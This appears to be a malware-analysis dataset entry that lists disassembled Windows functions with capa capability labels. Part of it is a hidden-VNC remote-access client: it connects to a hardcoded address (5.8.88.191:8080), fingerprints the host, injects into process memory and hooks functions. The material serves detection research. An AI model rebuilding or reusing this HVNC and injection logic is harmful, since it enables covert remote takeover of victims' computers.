joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400068c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006995
cmp byte [rcx + 0x72], 0
je 0x140006995
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
je 0x140006991
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006956
sub eax, 1
je 0x14000695a
cmp eax, 2
jne 0x140006991
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140008f00
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006988
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140006991
cmp byte [rbx + 0x72], 0
sete al
jmp 0x14000693e
xor al, al
jmp 0x14000693e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140008f00
add rsp, 0x60
pop rbx
ret

Function at 0x140008d38
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140008d72
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140008d77
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140008dc0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000b4e0]
cmp byte [rcx + rax], 0
je 0x140008dc0
dec r8
sub rdx, 1
jne 0x140008da6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140009bc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009c0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009c0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009c0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009c0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140009c0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009c10
xor al, al
add rsp, 0x28
ret
Function at 0x140002a10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140002a6d
lea rbx, [0x1400419d0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002a54
cmp r10, 2
jb 0x140002a54
cmp byte [r9], r8b
jne 0x140002a54
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002a30
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140002aaf
lea rbx, [0x1400419d0]
cmp r8b, 0x23
jne 0x140002a93
cmp byte [r9], r8b
jne 0x140002a93
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002a80
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140002c70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x140002c9f
mov r8d, 0x600
lea rdx, str.C:UsersSMILEY_POWDERDesktopSRC_2.5kExternalimguiimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x140002cab
mov qword [rdi], 0
lea rdx, [0x1400415e0]
mov rcx, rbx
call fcn.140002ac0
mov rbx, rax
test rax, rax
jne 0x140002ccd
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140002da4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002da4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140002da4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002da4
cmp rsi, 0xffffffffffffffff
je 0x140002da4
mov rax, qword [0x1400950b0]
test rax, rax
je 0x140002d41
inc dword [rax + 0x3b4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x140002da4
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x140002d91
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400950b0]
test rax, rax
je 0x140002d86
dec dword [rax + 0x3b4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002dad
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x140002d9f
mov qword [rdi], rsi
mov rax, rbp
jmp 0x140002daf
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140005200
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xc8], 0
mov rbx, rcx
mov edi, edx
jg 0x140005236
mov r8d, 0x67f
lea rdx, str.C:UsersSMILEY_POWDERDesktopSRC_2.5kExternalimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd r8, dword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov edx, dword [rax + r8*4 - 4]
lea r8, [0x1400419d0]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x1400950b0]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1b30], edx
jne 0x1400052b0
mov dword [rax + 0x1b34], edx
cmp dword [rax + 0x1b70], edx
jne 0x1400052bf
mov byte [rax + 0x1b74], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x140010350
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [0x1400950b0]
mov rsi, rcx
mov rbx, qword [rax + 0x1ae0]
add rbx, 0xc8
cmp dword [rbx], 0
jg 0x14001039b
mov r8d, 0x67f
lea rdx, str.C:UsersSMILEY_POWDERDesktopSRC_2.5kExternalimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x1400419d0]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x34]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x35]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x36]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x37]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x14001047a
lea ecx, [rdx + 1]
test r8d, r8d
je 0x140010466
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x14001046b
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.140018ae0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400117e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x1400950b0]
mov edi, edx
cmp byte [rbx + 0x1e25], 0
jne 0x140011831
cmp byte [rbx + 0x1e26], 0
jne 0x140011831
mov r9d, dword [rbx + 0x2ec8]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140002990
test dil, 1
je 0x140011956
jmp 0x1400118b9
movss xmm1, dword [rbx + 0x1614]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x140079ccc]
xor eax, eax
mulss xmm1, dword [0x140079cb8]
addss xmm0, dword [rbx + 0x128]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0x12c]
mov qword [rbx + 0x1ba0], rax
mov dword [rbx + 0x1b8c], 1
movss dword [rbx + 0x1b98], xmm0
movss dword [rbx + 0x1b9c], xmm1
movss xmm0, dword [rbx + 0x1670]
mulss xmm0, dword [0x140079c28]
or dword [rbx + 0x1b88], 0x41
movss dword [rbx + 0x1be8], xmm0
mov r9d, dword [rbx + 0x2ec8]
call fcn.140002990
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140011910
lea r11, [0x1400419d0]
nop dword [rax]
cmp r9b, 0x23
jne 0x1400118f3
cmp byte [r8], r9b
jne 0x1400118f3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1400118e0
not ecx
call fcn.14000a540
test rax, rax
je 0x140011956
cmp byte [rax + 0x8e], 0
je 0x140011956
mov byte [rax + 0x95], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xac], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x2ec8]
mov edx, 0x10
mov r9d, dword [rbx + 0x2ec8]
call fcn.140002990
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000cc90
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140016760
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x40
mov rbx, qword [0x1400950b0]
cmp byte [rbx + 0x2f5c], 0
je 0x14001684c
cmp qword [rbx + 0x2f68], 0
mov qword [rax - 0x18], rsi
lea rsi, [rax + 0x10]
mov qword [rax - 0x20], rdi
lea rdi, [rbx + 0x2f70]
je 0x140016834
mov r9d, dword [rdi + 4]
mov qword [rax - 0x10], rbp
xor ebp, ebp
test r9d, r9d
jns 0x1400167db
mov eax, r9d
mov rcx, rdi
cdq
sub eax, edx
mov edx, ebp
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140018860
mov rcx, qword [rsp + 0x50]
mov rdx, rcx
mov dword [rdi], ebp
mov rcx, rdi
mov r8, rsi
call fcn.140003140
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x2f68]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rbx + 0x2f78]
cmove ecx, ebp
test rax, rax
movsxd r8, ecx
lea rcx, [0x1400950a8]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
add rsp, 0x40
pop rbx
ret
mov rdx, rcx
mov r8, rsi
mov rcx, rdi
call fcn.140003140
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
add rsp, 0x40
pop rbx
ret
Function at 0x14003cbbc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003cc06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003cc06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003cc06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003cc06
cmp dword [rcx + 0x84], 0xe
jbe 0x14003cc06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003cc08
xor al, al
add rsp, 0x28
ret
Function at 0x180001dd8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov edi, r9d
lea rax, [r11 + 0x20]
mov r14, r8
mov qword [r11 - 0x38], rax
xor ebx, ebx
mov r8d, edi
mov rsi, rdx
mov rbp, rcx
lea r9d, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180001e5b
lea rax, [rsp + 0x30]
mov r9d, edi
mov r8, r14
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001e3d
cmp qword [rsp + 0x30], rdi
lea eax, [rbx + 1]
cmove ebx, eax
mov r9d, dword [rsp + 0x78]
lea rax, [rsp + 0x78]
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180001fb0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x2f0
xor ebx, ebx
test edx, edx
je 0x1800020ff
sub edx, 1
je 0x180002016
sub edx, 1
je 0x180001ff8
cmp edx, 1
jne 0x18000216f
cmp dword [0x18003564c], ebx
jne 0x18000216f
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
call fcn.18000a334
jmp 0x18000216f
cmp dword [0x18003564c], ebx
jne 0x18000216f
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
call fcn.18000a200
jmp 0x18000216f
mov eax, 1
lock xadd dword [0x180035648], eax
inc eax
cmp eax, 1
jne 0x18000216f
mov rdx, r8
mov qword [0x180035688], rcx
call fcn.180001e98
test eax, eax
jne 0x18000204d
mov dword [0x180035660], 1
jmp 0x180002004
mov esi, 2
cmp eax, esi
jne 0x1800020f7
mov ecx, 0x202
lea rdx, [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rax, [rsp + 0x308]
mov word [rsp + 0x30], si
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x308], 0x10
mov edx, esi
lea rcx, str.5.8.88.191:8080
call qword [sym.imp.WS2_32.dll_WSAStringToAddressW]
call fcn.180002188
mov ebx, eax
call fcn.1800021b4
mov r8d, eax
lea rdx, str.H21HVNC_CLIENT__08X_08X
mov r9d, ebx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [0x180035650]
call sym.vncdll64.dll_VncStartServer
mov dword [0x180035660], 1
mov dword [0x18003564c], 1
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18000216f
mov dword [0x180035660], ebx
jmp 0x18000216f
or eax, 0xffffffff
lock xadd dword [0x180035648], eax
cmp eax, 1
jne 0x18000216f
cmp dword [0x18003564c], ebx
je 0x180002128
mov rcx, qword [0x180035650]
test rcx, rcx
je 0x180002128
call sym.vncdll64.dll_VncStopServer
cmp dword [0x180035660], ebx
je 0x18000216f
mov rcx, qword [0x1800356a0]
test rcx, rcx
je 0x18000216f
call qword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.180002820
call fcn.18000872c
lea rcx, [0x1800356c8]
call fcn.180003f5c
call fcn.180002604
mov rcx, qword [0x180035658]
test rcx, rcx
je 0x18000216f
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, dword [0x180035660]
mov rbx, qword [rsp + 0x300]
add rsp, 0x2f0
pop rsi
ret
Function at 0x180002188
Capabilities:
Get hostname

Disassembly:
sub rsp, 0x48
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rsp + 0x20]
call fcn.180002268
add rsp, 0x48
ret

Function at 0x1800021b4
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
mov eax, 0x2030
call fcn.18000a4a0
sub rsp, rax
xor ebx, ebx
lea rax, [rsp + 0x2048]
mov r9d, 0x20019
mov qword [rsp + 0x2048], rbx
xor r8d, r8d
mov dword [rsp + 0x2040], ebx
lea rdx, str.SYSTEMCurrentControlSet_servicesDiskEnum
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000224f
mov rcx, qword [rsp + 0x2048]
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x28], rax
lea rdx, [0x180028c88]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x2040], 0x2000
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000224f
lea rcx, [rsp + 0x30]
call fcn.180002268
mov ebx, eax
mov rcx, qword [rsp + 0x2048]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x2030
pop rbx
ret

Function at 0x180002268
Capabilities:
Encode data using xor

Disassembly:
xor r11d, r11d
mov r9, rcx
mov r8d, r11d
mov r10b, r11b
cmp word [rcx], r11w
je 0x180002299
movzx edx, byte [r9]
lea r9, [r9 + 2]
xor r10b, dl
xor r8d, edx
and r10b, 0x1f
movzx ecx, r10b
rol r8d, cl
cmp word [r9], r11w
jne 0x18000227a
mov eax, r8d
ret

Function at 0x1800022a0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rcx, [0x180028b40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movsxd rdx, dword [rax + 0x3c]
lea r8, [rax + 0x18]
add r8, rdx
movzx ecx, word [rdx + rax + 0x14]
add r8, rcx
movzx ecx, word [rdx + rax + 6]
cmp dword [r8 + 0x24], 0
jl 0x1800022ef
add r8, 0x28
add ecx, 0xffffffff
jne 0x1800022dc
xor r8d, r8d
xor edi, edi
test r8, r8
je 0x180002399
mov ebx, dword [r8 + 0xc]
mov esi, dword [r8 + 8]
add rbx, rax
lea rax, [0x180002504]
add rsi, 0xfffffffffffffff0
mov qword [rbp - 0x10], rax
add rsi, rbx
lea rax, [rbp + 0x10]
xor ecx, ecx
mov qword [rbp - 8], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x20], rax
mov dword [rbp + 0x10], ecx
cmp rbx, rsi
ja 0x180002399
mov rax, qword [rbx]
cmp rax, rbx
jne 0x180002391
cmp rax, qword [rbx + 8]
jne 0x180002391
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x18], rbx
mov qword [rax + 8], rcx
lea rax, [rbp - 0x20]
lea rcx, str.ntdsapi.dll
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180002379
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov ecx, dword [rbp + 0x10]
test ecx, ecx
cmovne rdi, rbx
add rbx, 0x10
test ecx, ecx
je 0x180002334
mov rbx, qword [rsp + 0x58]
mov rax, rdi
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret
Function at 0x1800023b4
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x1800023fd
lea rcx, [0x180028b40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LdrUnregisterDllNotification
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000241f
mov rcx, rdi
call rax
test eax, eax
jne 0x18000241f
jmp 0x18000241d
cmp qword [0x180035668], 0
je 0x18000241f
mov rcx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rcx, rdi
call fcn.180001e84
xor ebx, ebx
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000242c
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x18000248d
lea rcx, [0x180028b40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LdrRegisterDllNotification
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800024eb
mov r9, rdi
mov r8, rsi
mov rdx, rbp
xor ecx, ecx
call rax
test eax, eax
jne 0x1800024eb
jmp 0x1800024e2
cmp qword [0x180035668], 0
jne 0x1800024a8
call fcn.1800022a0
mov qword [0x180035668], rax
test rax, rax
je 0x1800024eb
mov ecx, 0x20
call fcn.180001e70
test rax, rax
je 0x1800024e6
mov qword [rax + 8], rax
mov qword [rax], rax
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rdi], rax
mov rdx, qword [0x180035668]
mov rcx, qword [rdx + 8]
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rcx], rax
mov qword [rdx + 8], rax
xor ebx, ebx
jmp 0x1800024eb
mov ebx, 8
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18000265c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, dword [0x18000a481]
mov rsi, rcx
add ebx, 0x59
mov rbp, rdx
mov ecx, ebx
call fcn.180001e70
mov rdi, rax
test rax, rax
je 0x1800026fa
and dword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
mov edx, ebx
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
and qword [rdi + 0x28], 0
lea rcx, [rdi + 0x48]
and qword [rdi + 0x30], 0
and dword [rdi + 0x38], 0
and dword [rdi + 0x3c], 0
and dword [rdi + 0x40], 0
and dword [rdi + 0x44], 0
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], rsi
mov r8d, dword [0x18000a481]
mov rdx, qword [0x18000a479]
add r8, 0x10
add rdx, 0xfffffffffffffff0
call sub.ntdll.dll_memcpy
lea rax, [rdi + 0x58]
mov qword [rdi + 0x48], rsi
mov qword [rdi + 0x50], rdi
mov qword [rdi + 0x20], rax
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180002bd8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rbx, rcx
xor edi, edi
mov dword [rax + 0x10], edi
movzx r14d, byte [rcx + 0x38]
mov eax, r14d
sub eax, 1
je 0x180002c50
cmp eax, 1
jne 0x180002cb0
mov rsi, qword [rcx + 0x28]
mov eax, 0x25ff
cmp word [rsi], ax
jne 0x180002c50
lea r9, [rsp + 0x48]
lea edx, [rdi + 0xe]
lea r8d, [rdi + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180002c50
mov rax, qword [rbx + 0x10]
mov qword [rsi + 6], rax
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
lea edx, [rdi + 0xe]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x48]
mov esi, 8
lea r8d, [rsi + 0x38]
mov edx, esi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180002ca4
mov rcx, qword [rbx + 0x18]
cmp r14d, 1
jne 0x180002c81
mov rax, qword [rbx + 0x20]
mov qword [rcx], rax
jmp 0x180002c86
mov eax, dword [rbx + 0x20]
mov dword [rcx], eax
btr dword [rbx + 0x38], 8
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x48]
mov rdx, rsi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x180002cb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [rsp + 0x20], eax
jmp 0x180002cb8
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret